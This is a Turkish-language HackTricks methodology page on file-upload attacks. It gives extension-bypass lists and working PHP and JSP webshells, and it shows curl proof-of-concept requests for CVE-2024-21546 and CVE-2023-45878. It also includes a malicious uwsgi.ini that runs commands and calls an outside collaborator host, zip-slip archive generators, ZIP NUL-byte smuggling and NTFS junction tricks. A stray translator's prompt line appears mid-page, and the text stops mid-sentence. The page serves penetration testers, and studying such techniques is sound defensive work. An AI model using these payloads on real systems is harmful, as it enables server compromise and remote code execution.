Dosya Yükleme
Reading time: 25 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Dosya Yükleme Genel Metodolojisi
Diğer faydalı uzantılar:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Dosya uzantısı kontrollerini atlatma
- Eğer uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bunları bazı büyük harfler ile de test edin: pHp, .pHP5, .PhAr ...
- Geçerli uzantıyı yürütme uzantısından önce eklemeyi kontrol edin (önceki uzantıları da kullanın):
- file.png.php
- file.png.Php5
- Dosya adının sonuna özel karakterler eklemeyi deneyin. Tüm ascii ve Unicode karakterlerini bruteforce etmek için Burp kullanabilirsiniz. (Not: daha önce bahsedilen uzantıları de kullanmayı deneyebilirsiniz)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin; örneğin uzantıyı çiftleme veya uzantılar arasına çöp veri (null bytes) ekleme gibi teknikler. Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Önceki kontrole ek bir uzantı katmanı ekleyin:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Yürütme uzantısını geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalı olabilir; bazı ayarlarda uzantısı .php içeren herhangi bir dosya, sonu .php ile bitmese bile çalıştırılabilir):
- ex: file.php.png
- Windows üzerinde NTFS alternate data stream (ADS) kullanımı. Bu durumda yasaklı uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste ":" karakteri eklenir. Sonuç olarak, sunucuda yasak uzantılı boş bir dosya oluşturulur (ör. "file.asax:.jpg”). Bu dosya daha sonra kısa dosya adı kullanımı gibi diğer tekniklerle düzenlenebilir. "::$data” kalıbı da boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu kalıbın sonuna bir nokta eklemek ileri kısıtlamaları atlatmak açısından faydalı olabilir (ör. "file.asp::$data.”)
- Dosya adı sınırlarını kırmayı deneyin. Geçerli uzantı kesilir. Kötücül PHP geride kalır. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Bazı upload handler'ları kaydedilen dosya adındaki sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını şu şekilde atlayabilirsiniz:
- PNG gibi bir görüntü için geçerli bir MIME ve magic header kullanın (ör. PNG’nin
\x89PNG\r\n\x1a\n
). - Yüklenen dosyayı PHP uzantısı ve ardından bir nokta ile adlandırın, örn.
shell.php.
. - Sunucu sonundaki noktayı kırpar ve
shell.php
olarak saklar; bu dosya web-served dizininde (varsayılan public storage gibi/storage/files/
) yer alırsa yürütülür.
Basit PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Sonra kaydedilen yola istekte bulunun (Laravel + LFM'de tipiktir):
GET /storage/files/0xdf.php?cmd=id
Content-Type, Magic Number, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama
- Content-Type kontrollerini, Content-Type header'ının değerini şu şekilde ayarlayarak atlatın: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- magic number kontrolünü, dosyanın başına gerçek bir görüntünün byte'larını ekleyerek atlatın ( file komutunu yanıltır). Ya da shell'i metadata içine yerleştirin:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
veya payload'ı doğrudan bir görüntüye de ekleyebilirsiniz:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Görüntünüze sıkıştırma uygulanıyorsa, örneğin PHP-GD gibi bazı standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayacaktır. Ancak, PLTE chunk kullanarak technique defined here adresinde tanımlanan tekniği uygulayıp sıkıştırmaya dayanacak bazı metinler ekleyebilirsiniz.
- Github with the code
- Web sayfası ayrıca görüntüyü yeniden boyutlandırıyor olabilir, örneğin PHP-GD fonksiyonları
imagecopyresized
veyaimagecopyresampled
kullanarak. Ancak, IDAT chunk kullanarak technique defined here adresinde tanımlanan tekniği uygulayıp sıkıştırmaya dayanacak bir metin ekleyebilirsiniz. - Github with the code
- Başka bir teknik, PHP-GD fonksiyonu
thumbnailImage
kullanıldığında görüntü yeniden boyutlandırmasına dayanacak bir payload oluşturmaktır. Ancak, tEXt chunk kullanarak technique defined here adresinde tanımlanan tekniği uygulayıp sıkıştırmaya dayanacak metin ekleyebilirsiniz. - Github with the code
Kontrol Edilmesi Gereken Diğer Yöntemler
- Zaten yüklenmiş dosyanın adını değiştirmek (uzantısını değiştirmek) için bir zafiyet bulun.
- Backdoor'u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
- Olası bilgi açığa çıkması:
- Aynı dosyayı aynı isimle birden çok kez (ve aynı anda) yükleyin.
- Zaten var olan bir dosya veya klasör adını taşıyan bir dosya yükleyin.
- İsmi olarak "." , "..", or "…" olan bir dosya yüklemek. Örneğin, Apache üzerinde Windows'ta, uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." isimli dosya "/www/" dizininde uploads adlı bir dosya oluşturacaktır.
- NTFS üzerinde "…:.jpg" gibi kolay silinemeyen bir dosya yükleyin. (Windows)
- Windows üzerinde dosya adına
|<>*?”
gibi geçersiz karakterler içeren bir dosya yükleyin. (Windows) - Windows üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi rezerve (yasak) isimleri kullanarak bir dosya yükleyin.
- Kurban tarafından yanlışlıkla açıldığında kod çalıştıracak bir executable (.exe) veya daha az şüpheli bir .html dosyası yüklemeyi de deneyin.
Özel uzantı hileleri
Eğer bir PHP sunucusuna dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .htaccess hilesine göz atın.
Eğer bir ASP server'a dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .config hilesine göz atın.
.phar
dosyaları java için .jar
gibidir, fakat php içindir ve php dosyası gibi kullanılabilir (php ile çalıştırmak veya bir script içine include etmek...).
.inc
uzantısı bazen yalnızca dosya import etmek için kullanılan php dosyaları için kullanılır, bu yüzden bir noktada biri bu uzantının çalıştırılmasına izin vermiş olabilir.
Jetty RCE
Eğer bir Jetty sunucusuna XML dosyası yükleyebilirseniz, RCE elde edebilirsiniz çünkü **yeni .xml ve .war dosyaları otomatik olarak işlenir. Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını $JETTY_BASE/webapps/
dizinine yükleyin ve shell bekleyin!
uWSGI RCE
Bu zafiyetin ayrıntılı incelemesi için orijinal araştırmaya bakın: uWSGI RCE Exploitation.
Remote Command Execution (RCE) zafiyetleri, .ini
konfigürasyon dosyasını değiştirme yeteneği varsa uWSGI sunucularında sömürülebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenler, yer tutucular ve operatörleri içermek için belirli bir sözdizimi kullanır. Dikkate değer olarak, @(filename)
şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya izin verir. Bir .ini
konfigürasyon dosyası işlendiğinde, bu özellik Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı amaçlar için manipüle edilebilir.
Aşağıdaki, çeşitli şemaları gösteren zararlı bir uwsgi.ini
dosyası örneğini inceleyin:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Payload'in yürütülmesi, konfigürasyon dosyası ayrıştırılırken gerçekleşir. Konfigürasyonun etkinleşmesi ve ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir çökme sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklikleri tespit ettiğinde dosyayı belirlenen aralıklarla yeniden yükler.
uWSGI'nin konfigürasyon dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan payload bir binary dosyaya (ör. bir görüntü veya PDF gibi) eklenebilir; bu da potansiyel sömürü alanını daha da genişletir.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Kimlik doğrulaması gerektirmeyen bir endpoint Gibbon LMS'de web root içinde arbitrary file write yapılmasına izin veriyor; bu, bir PHP dosyası bırakarak pre-auth RCE'ye yol açıyor. Etkilenen versiyonlar: 25.0.01 dahil olmak üzere ve öncesi.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
- Method: POST
- Required params:
img
: data-URI-like string:[mime];[name],[base64]
(server ignores type/name, base64-decodes the tail)path
: destination filename relative to Gibbon install dir (e.g.,poc.php
or0xdf.php
)gibbonPersonID
: any non-empty value is accepted (e.g.,0000000001
)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Minimal bir webshell bırakın ve komutları çalıştırın:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notlar:
- Handler,
;
ve,
ile bölündükten sonrabase64_decode($_POST["img"])
işlemini yapıyor, ardından uzantı/tip doğrulaması yapmadan byte'ları$absolutePath . '/' . $_POST['path']
konumuna yazıyor. - Ortaya çıkan kod web servis kullanıcısı olarak çalışır (ör. XAMPP Apache on Windows).
Bu hata ile ilgili referanslar arasında usd HeroLab advisory ve NVD entry yer alır. Aşağıdaki Referanslar bölümüne bakın.
wget File Upload/SSRF Trick
Bazı durumlarda bir sunucunun dosya indirmek için wget
kullandığını ve sizden URL belirtmenizi istediğini görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının beyaz listede olup olmadığını kontrol ediyor olabilir, böylece yalnızca izin verilen dosyaların indirileceğinden emin olunur. Ancak, bu kontrol atlatılabilir.
linux'te bir filename'in maksimum uzunluğu 255'tir, ancak wget
dosya adlarını 236 karaktere kadar kısaltır. Örneğin *"A"232+".php"+".gif" adlı bir dosyayı indirebilirsiniz; bu dosya adı kontrolü atlatacaktır (bu örnekte ".gif" geçerli bir uzantıdır) fakat wget
dosyayı *"A"232+".php" olarak yeniden adlandıracaktır.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that başka bir seçenek you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This çalışmaz olmadıkça wget parametre --trust-server-names
ile kullanılmaz, çünkü wget will download the redirected page with the name of the file indicated in the original URL.
NTFS junctions (Windows) ile yükleme dizininden kaçış
(Bu saldırı için Windows makinesine yerel erişim gerekecektir) Yüklemeler Windows üzerinde kullanıcı başına alt klasörlerde saklanıyorsa (örn., C:\Windows\Tasks\Uploads<id>) ve bu alt klasörün oluşturulmasını/silinmesini kontrol edebiliyorsanız, bunu hassas bir konuma (örn., the webroot) işaret eden bir directory junction ile değiştirebilirsiniz. Sonraki yüklemeler hedef yola yazılacak ve hedef server‑side code’u yorumluyorsa kod çalıştırılmasına izin verecektir.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notlar
- mklink /J NTFS directory junction (reparse point) oluşturur. Web sunucusunun hesabı junction'ı takip etmeli ve hedefte yazma iznine sahip olmalıdır.
- Bu, rastgele dosya yazmalarını yönlendirir; eğer hedef script çalıştırıyorsa (PHP/ASP), bu RCE'ye dönüşür.
- Savunma: yazılabilir upload köklerinin C:\Windows\Tasks veya benzeri bir yerde saldırgan tarafından kontrol edilebilir olmasına izin vermeyin; junction oluşturmayı engelleyin; uzantıları server‑side doğrulayın; upload'ları ayrı bir volume'da veya deny‑execute ACLs ile saklayın.
GZIP-compressed body upload + hedef parametrede path traversal → JSP webshell RCE (Tomcat)
Bazı upload/ingest handlers, ham request body'yi user-controlled query parameter'lerden oluşturulan bir filesystem path'ine yazar. Eğer handler ayrıca Content-Encoding: gzip'i destekliyor ve hedef path'i canonicalize/validate etmiyorsa, directory traversal'ı gzipped payload ile birleştirerek web-served bir dizine rastgele byte'lar yazabilir ve RCE elde edebilirsiniz (ör. Tomcat’in webapps altına bir JSP bırakmak).
Genel istismar akışı:
- Sunucu tarafı payload'unuzu (ör. minimal JSP webshell) hazırlayın ve byte'ları gzip ile sıkıştırın.
- Path parametresi (ör. token) amaçlanan klasörü atlayan traversal içerirken ve file kalıcı olarak kaydedilecek dosya adını belirtirken bir POST gönderin. Content-Type: application/octet-stream ve Content-Encoding: gzip olarak ayarlayın; body sıkıştırılmış payload'tur.
- Yazılan dosyayı tarayıcıdan açarak çalıştırmayı tetikleyin.
Örnek istek:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Dosyayı ya da çevrilmesini istediğiniz README.md içeriğini buraya yapıştırın, ardından kurallara uygun şekilde Türkçeye çevirip aynı markdown/HTML yapısını koruyacağım.
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notlar
- Hedef yollar kurulumlara göre değişir (ör. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ bazı stack'lerde). JSP çalıştıran herhangi bir web'e açık klasör işe yarar.
- Burp Suite’s Hackvertor extension, payload'ınızdan doğru bir gzip gövdesi üretebilir.
- Bu saf bir pre-auth arbitrary file write → RCE deseni; multipart parsing'e dayanmaz.
Mitigations
- Yükleme hedeflerini sunucu tarafında türetin; istemcilerden gelen yol parçalarına asla güvenmeyin.
- Yolun kanonik hale getirilmesini sağlayın ve çözülmüş yolun izin verilen (allow-listed) bir temel dizin içinde kalmasını zorunlu kılın.
- Yüklemeleri çalıştırılamaz bir birimde saklayın ve yazılabilir yollar üzerinden script yürütmeyi engelleyin.
Tools
- Upload Bypass güçlü bir araçtır; Pentesters ve Bug Hunters'ın dosya yükleme mekanizmalarını test etmesine yardımcı olmak için tasarlanmıştır. Web uygulamalarındaki zafiyetleri tespit etme ve istismar etme süreçlerini basitleştirmek için çeşitli bug bounty tekniklerinden yararlanır ve kapsamlı değerlendirmeler sağlar.
Corrupting upload indices with snprintf quirks (historical)
snprintf()
veya benzerini kullanarak tek dosyalık bir yüklemeden çoklu-dosya dizileri oluşturmak için yazılmış bazı eski upload handler'lar, _FILES
yapısını sahtelemek için kandırılabilir. snprintf()
davranışındaki tutarsızlıklar ve kesilmeler nedeniyle, dikkatle hazırlanmış tek bir yükleme sunucu tarafında birden fazla indekslenmiş dosya gibi görünebilir ve sıkı bir şekil varsayan mantığı (ör. çoklu-dosya yüklemesi gibi davranma ve güvensiz dallara girme) şaşırtabilir. Bugün nadir olsa da, bu “index corruption” deseni ara sıra CTF'lerde ve eski kod tabanlarında yeniden ortaya çıkar.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.png
and try to achieve a path traversal - Set filename to
sleep(10)-- -.jpg
and you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>
to achieve a XSS - Set filename to
; sleep 10;
to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Check if there is any size limit uploading files
İşte yükleme yoluyla başarabileceğiniz ilk 10 şeyin bir listesi (kaynak: here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Sihirli Başlık Baytları
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
- JPG:
"\xff\xd8\xff"
Diğer dosya tipleri için şu sayfaya bakın: https://en.wikipedia.org/wiki/List_of_file_signatures.
Zip/Tar Arşivinin Sunucuda Otomatik Olarak Açılmasıyla Yükleme
Eğer sunucuda açılacak bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz:
Symlink
Diğer dosyalara soft linkler içeren bir arşiv yükleyin; arşiv açıldığında ve açılmış dosyalara eriştiğinizde bağlı (linked) dosyalara erişirsiniz:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Farklı klasörlere açma
Beklenmedik şekilde sıkıştırma açılırken dizinlerde dosyaların oluşturulması önemli bir sorundur. İlk varsayımlarda bu yapılandırmanın kötü amaçlı dosya yüklemeleri aracılığıyla OS-level command execution'ı engelleyeceği düşünülebilir; ancak ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri sömürülebilir. Bu, saldırganların hedef uygulamanın sıkıştırma açma işlevini manipüle ederek kısıtlamaları atlamasına ve güvenli yükleme dizinlerinden kaçmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir exploit evilarc on GitHub adresinde mevcuttur. Araç şu şekilde kullanılabilir:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Ek olarak, symlink trick with evilarc bir seçenektir. Hedef /flag.txt
gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturmalısınız. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek bulunmaktadır:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Sıkıştırmayı file spraying için kötüye kullanma
For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP kodu,
$_REQUEST
değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Hex Editor veya vi ile Değiştirme: Zip içindeki dosya adları vi veya bir hex editor ile değiştirilir; "xxA" dizin atlamak için "../" olarak değiştirilir.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Bir backend ZIP girdilerini PHP’nin ZipArchive’ını kullanarak doğrularken ama çıkarma işlemi dosya sistemine ham isimlerle yazma yapıyorsa, dosya adı alanlarına bir NUL (0x00) ekleyerek yasaklı bir uzantıyı gizleyebilirsiniz. ZipArchive, girdi adını bir C‑string olarak ele alır ve ilk NUL'de keser; dosya sistemi ise NUL'den sonra gelenleri atarak tam ismi yazar.
High-level flow:
- Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
- Name it like
shell.php..pdf
, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.
after.php
with0x00
, resulting inshell.php\x00.pdf
. - Validators that rely on ZipArchive will “see”
shell.php .pdf
and allow it; the extractor writesshell.php
to disk, leading to RCE if the upload folder is executable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Her iki filename örneğini de değiştirin (local ve central directory). Bazı araçlar ekstra bir data descriptor girdisi de ekleyebilir – varsa tüm name alanlarını ayarlayın.
- Payload dosyası hâlâ server‑side magic/MIME sniffing'den geçmelidir. PHP'yi bir PDF stream'ine gömmek header'ı geçerli tutar.
- enum/validation yolu ile extraction/write yolunun string işleme konusunda uyuşmaması halinde işe yarar.
Yığılmış/peş peşe birleştirilmiş ZIP'ler (parser uyuşmazlığı)
İki geçerli ZIP dosyasını art arda eklemek, farklı parser'ların farklı EOCD kayıtlarına odaklandığı bir blob oluşturur. Birçok araç son End Of Central Directory (EOCD) kaydını bulurken, bazı kütüphaneler (ör. ZipArchive belirli iş akışlarında) buldukları ilk arşivi parse edebilir. Eğer validation ilk arşivi enumerate ediyor ve extraction son EOCD'yi dikkate alan başka bir araç kullanıyorsa, zararsız bir arşiv kontrolleri geçebilirken kötü niyetli olan açılabilir.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Kötüye kullanım deseni
- İzin verilen bir tür (ör. PDF) içeren temiz bir arşiv oluşturun ve engellenmiş bir uzantı içeren ikinci bir arşiv oluşturun (ör.
shell.php
). - Bunları birleştirin:
